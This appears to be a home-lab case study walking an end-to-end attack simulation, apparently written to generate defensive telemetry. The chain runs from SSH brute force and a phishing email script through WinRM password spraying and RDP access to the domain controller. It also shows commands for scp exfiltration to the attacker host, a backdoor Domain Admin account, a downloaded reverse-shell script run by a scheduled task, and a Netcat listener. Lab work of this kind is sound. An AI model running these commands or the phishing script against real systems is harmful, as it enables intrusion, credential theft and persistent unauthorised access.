case study
Attack Simulation
In this section, I simulate a full end‑to‑end attack against my Project Zero enterprise lab, starting from an external Kali attacker and ending with domain‑admin persistence on the Windows domain controller. I follow a realistic kill chain that begins with exploiting weak SSH credentials to gain a foothold, then use internal reconnaissance, MailHog abuse, and a targeted phishing email to steal a legitimate user’s password. With those credentials, I move laterally through WinRM and RDP to reach the domain controller, exfiltrate a sensitive test file, and finally establish persistence via both a backdoor admin account and a scheduled reverse‑shell task. The goal of this exercise is to generate rich, real‑world telemetry across Linux, Windows, email, and network layers.
###Enumeration and Initial Foothold
1.Logging into the attacker VM (Kali desktop login)
2.Service discovery and SSH brute‑force with Hydra (nmap + hydra output)
The terminal output demonstrates the full kill chain step: first confirming an exposed SSH service with nmap, then using an automated tool to quickly guess weak credentials, which is a common real‑world technique against internet facing or poorly hardened management ports.
3.SSH Brute-Force Attack with Hydra
Hydra is a password cracking tool that automates login attempts against network services like SSH. In this step, I used Hydra with the rockyou.txt wordlist to systematically try common passwords against the SSH service on 10.0.0.8 until it found the valid root / november credentials, simulating how an attacker can quickly exploit weak authentication on exposed management ports.
root / november credentials from the rockyou.txt wordlist.4.Successful SSH login as root on CORP-SVR (root shell prompt)
Attacker has interactive root access on a key internal system, which becomes the staging point for further actions like hosting phishing infrastructure, pivoting deeper into the network, and generating the telemetry later used for detections in the project.
project-zero-corp-svr host after the brute‑force attack, giving the attacker full control of the server.
nmap scan of linux-client5.Internal Network Reconnaissance
We can also see we are in the 10.0.0.0/24 range, a private IP address range, used in Local Area Network (LAN)s.
Based on our nmap scans, we can see there is a device called linux-client running on 10.0.0.101.
linux-client (10.0.0.101) with SSH and other services exposed over the internal 10.0.0.0/24 range6.netstat on CORP-SVR (ports 1025 and 8025)
Service enumeration on the compromised Ubuntu server revealing SMTP on port 1025 and a web service on port 8025 listening for connections.
netstat, I identified a simulated mail service stack, which hinted that this host might be handling internal email traffic and could be abused for phishing and
email interception7.Google search for ports 1025 and 8025 (MailHog)
This mirrors how real attackers combine technical enumeration with simple OSINT to fingerprint services, in this case recognizing that the server is running a local testing mail server I can query and interact with.
8.curl request to MailHog API
Pulling email metadata directly from the MailHog API allowed me to harvest internal addresses and confirm that “Jane D” is an active user on the network, setting up a realistic spear phishing target for the next phase.
http://10.0.0.8:8025/api/v2/messages to list messages, including an email sent to janed@linux-client9.MailHog web UI showing Jane’s email
The UI view demonstrates that I can reliably observe and validate messages destined for internal users, which is exactly how I verified the target account before crafting and sending a phishing email in the following steps.
janed@linux-client in the inbox10.Phishing login page (“Verify Your Password”)
I deployed a simple static web page that mimics a corporate password reset portal; combined with a believable email, this provides a realistic lure for credential harvesting while generating clean, analyzable web and log telemetry.
11.creds.log with captured credentials (test)
In this controlled lab test, the phishing page records only demo credentials to creds.log, mirroring the behavior from the original guide while keeping the exercise safe and clearly separated from any real world data.
creds.log on the Kali attacker VM after a user submits the phishing form, matching the reference lab’s test scenario.###Send Email
1.Crafted a seemingly innocent, yet descriptive email.
Dear Jane, We noticed an unusual login attempt on your account, and for your security, we have temporarily locked access. To restore access, please verify your account credentials within the next 24 hours. Failure to do so may result in permanent restrictions on your account. To verify your credentials, please click the link below:Verify My Account for assistance, please contact our support team at support@corp.project-zero.com. Thank you for your prompt attention to this matter. Best regards, ProjectZero Security Team
Open the terminal with the SSH connection opened to the project-zero-corp-svr.
-ssh root@10.0.0.8, password is november
Create a new file, call it send_email.py in the root folder:
-sudo nano send_email.py
Copy the following:
import smtplib
from email.message import EmailMessage
msg = EmailMessage()
msg["Subject"] = "Update Password!"
msg["From"] = "project-zero-hrteam@corp.project-zero-dc.com"
msg["To"] = "janed@linux-client"
# Plain text version (fallback)
msg.set_content("Hey Jane! This is HR, make sure to update your password info.")
# HTML version
html_content = """
<html>
<body>
<p>Hey Jane!<br>
We noticed an unusual login attempt on your account, and for your security, we have temporarily locked access. To restore access, please verify your account credentials within the next 24 hours. Failure to do so may result in permanent restrictions on your account.
To verify your credentials, please click the link below:</p>
<a href='http://10.0.0.50'>Verify My Account</a>
<p>For assistance, please contact our support team at support@corp.project-zero.com.
Thank you for your prompt attention to this matter.
Best regards,
ProjectZero Security Team
</p>
</body>
</html>
"""
msg.add_alternative(html_content, subtype='html')
# Send the email
with smtplib.SMTP("localhost", 1025) as server:
server.send_message(msg)This script builds both plain‑text and HTML versions of the message, then delivers it over SMTP on port 1025, demonstrating how an attacker can automate realistic, credential harvesting phishing emails from a compromised internal server. Perform the following command to send the email over to Jane:
send_email.py script crafted on project-zero-corp-svr to send a targeted HTML phishing email to Jane via the local MailHog SMTP service.
2.MailHog inbox showing the phishing email
Seeing the email appear in MailHog verifies that the phishing infrastructure is wired end‑to‑end: the compromised server, SMTP configuration, and email content all work together to deliver a convincing lure that will later drive the victim to the fake login page.
janed@linux-client from the spoofed HR sender address###The Phish
In this phase, I simulate Jane receiving the phishing email, clicking the embedded link, and unknowingly submitting her credentials to the attacker-controller site. This completes the social engineering part of the attack and provides valid domain user credentials for further lateral movement.
1.Jane’s email poller receiving the phish
This demonstrates the victim side of the scenario: Jane’s workstation is actively monitoring her inbox, and the crafted phishing email arrives exactly as an internal user would see it, including the embedded link to the fake verification page.
email_poller.sh running on linux-client detects a new “Update Password!” email sent to janed@linux-client and prints both the plain‑text and HTML body.2.Jane opening the phishing page
Here the user has moved from email to web, interacting with what looks like a legitimate password verification form, which is a common pattern in real credential harvesting campaigns.
linux-client loading the attacker’s “Verify Your Password” page over HTTP after following the link in the email3.Phished credentials written to creds.log
When Jane enters her details into the fake portal, the attacker’s server records them to disk, providing reusable credentials while staying safely within the labs test-data scope.
creds.log updated with Jane’s real username and test password after she submits the phishing form.4.SSH login to linux-client as Jane
Using the stolen username and password, I establish an SSH session directly into Jane’s workstation, turning a single phished email into an authenticated foothold on internal endpoint that can be used for further discovery and lateral movement.
linux-client (10.0.0.101) using Jane’s captured credentials.###Lateral Movement and Privileged Escalation
Building on earlier recon, I used a targeted port scan to find WinRM open on a Windows endpoint, which is a common entry point for lateral movement once valid domain credentials are available.
10.0.0.100 with WinRM (port 5985) exposed, indicating a Windows host that can be remotely administered.On the Kali attacker machine, I created two small wordlists for NetExec: users.txt with the Administrator account and passwords.txt with the test password Killchain1!. I then used them with nxc winrm to run a focused password‑spray against the WinRM service, showing how even a tiny set of guesses can still lead to administrative access when passwords are weak.
sudo nano users.txt
Add Administrator in first line.
sudo nano passwords.txt
Add Killchain1! in the first line.1.NetExec password spray against WinRM
I simulated a focused password-spraying attack against WinRM with a small controlled worldlist that I just created, demonstrating how weak or reused administrator passwords can quickly turn a single foothold into domain-level access.
nxc winrm) password spray using users.txt and pass.txt to recover valid corp.project-zero-dc.com\Administrator credentials for the WinRM service.2.Evil‑WinRM shell on Windows client
Using the recovered credentials, I launched Evil-WinRM to obtain an interactive admin shell on the Windows workstation, giving me full control of the host and a strong pivot point toward the domain controller.
project-zero-win-clientas Administrator, confirming remote code execution over WinRM.3.nmap scan of the Domain Controller (RDP)
By confirming that RDP is open on port 3389, I verified that the domain controller can be accessed with a full interactive desktop session, which lets an attacker turn stolen admin credentials into complete control of the domain.
4.xfreerdp3 command
I used the FreeRDP client from Kali to supply the stolen domain admin credentials directly into RDP, mirroring how an attacker turns a successful password attack into an interactive logon on the most critical server.
xfreerdp3 /v:10.0.0.5 /u:Administrator /p:'Killchain1!'
This confirms full domain‑admin level compromise: I now have a graphical session on the DC, can browse sensitive shares like ProductionFiles, and am in position to stage or exfiltrate data in the next phase of the attack.
Administrator, with the ProductionFiles folder and secrets.txt visible.###Data Exflitration
From the RDP session on the domain controller, I simulate an attacker copying a sensitive file off the server and onto their Kali machine. This shows the final impact of the attack chain: domain‑admin access used to move data out of the environment.
Running SCP directly from the DC demonstrates how an attacker with admin rights can exfiltrate files over SSH with a single command, blending in with legitimate admin tooling while moving sensitive data off the server.
scp .\secrets.txt kali@10.0.0.50:/home/kali/my_sensitive_file.txt to copy a test file to the Kali attacker host.This confirms that the exfiltration succeeded end‑to‑end: the contents of secrets.txton the DC now exist on the attacker’s machine, illustrating how quickly
domain compromise can turn into data loss once an adversary has file‑level access.
my_sensitive_file.txt and displaying its test contents after the transfer from the domain controller.###Persistence
To simulate attacker persistence, I created a new backdoor domain account directly on the domain controller and granted it high privileges. This ensures that even if the original Administrator credentials are changed, the attacker still has a way back into the environment.
These commands show a straightforward persistence technique: adding a new user and placing it in both the local Administrators group and the Domain Admins group, giving the attacker long‑term privileged access that can survive password resets on the original admin account.
net user project-zero-user @mysecurepassword1! /add
net localgroup Administrators project-zeor-user /add
net group “Domain Admins” project-zero-user /add
1.Scheduled Task With Reverse Shell
This script allows the DC to call back to the attacker over TCP and execute comands, forming the payload that the scheduled task will run to maintain remote access.
sudo nano reverse.ps1
reverse.ps1) on the Kali attacker machine to be used later as a scheduled backdoor on the domain controller.2.Python HTTP server on Kali
Using a Python web server is a way to transfer attacker tool.s into the environment without needing extra infrastructure.
reverse.ps1 so it can be downloaded from the domain controller over HTTP.3.Downloading reverse.ps1 on the DC
This shows the payload being pulled directly onto the DC, which is a common pattern in real attacks where defenders might only see a seemingly harmless file download in web or proxy logs.
http://10.0.0.50:8000 from the domain controller and downloading reverse.ps1 from the attacker’s HTTP server.4.Storing reverse.ps1 in AppData
Hiding the script in an AppData subfolder helps the persistence mechanism look more like a normal application file, making it harder to spot.
reverse.ps1 under C:\Users\Administrator\AppData\Local\Microsoft\Windows to blend the backdoor into a less obvious location on the domain controller.5.Scheduled task creation (command view)
This confirms from the command line that the task is registered successfully, wiring the reverse shell script into Task Scheduler so it will execute on a recurring schedule wihtout furhter attacker interaction.
reverse.ps1 daily via schtasks with a PowerShell execution policy bypass.6.Task Scheduler GUI showing PersistenceTask
Viewing the task in the GUI shows exactly where this persistence mechanism would appear to defenders, reinforcing that simple hunts over scheduled tasks can reveal backdoors like this one.
7.Netcat listener on Kali
This sets up attacker’s side of the channel. Once the schedule task fires and runs reverse.ps1, the DC will connect back to this listener, handing the attacker an interactive shell.
nc -lvnp 4444) listening on Kali for incoming connections from the domain controller’s scheduled reverse shell.8.Manually testing reverse.ps1 on the DC
By running this script once interactively, I confirm that the payload is functional and that any script execution warnings can be bypassed, reducing the chance that the scheduled run silently fails.
reverse.ps1 with execution policy overrides to validate the reverse shell works before relying on the scheduled task.9.Reverse shell connection established to Kali
This shows the scheduled persistence working end‑to‑end: when the task runs reverse.ps1on the domain controller, it initiates an outbound connection back to
the attacker’s Netcat listener, giving me an interactive shell without needing another RDP login.
Why this matters
This lab walks through a full, realistic kill chain: initial access via weak SSH credentials, internal reconnaissance, phishing‑based credential theft, lateral movement to the domain controller, data exfiltration, and multiple persistence mechanisms. Taken together, it shows how a single misconfigured service can snowball into domain‑admin compromise and data loss, and how techniques like scheduled tasks and backdoor accounts let attackers quietly maintain access over time.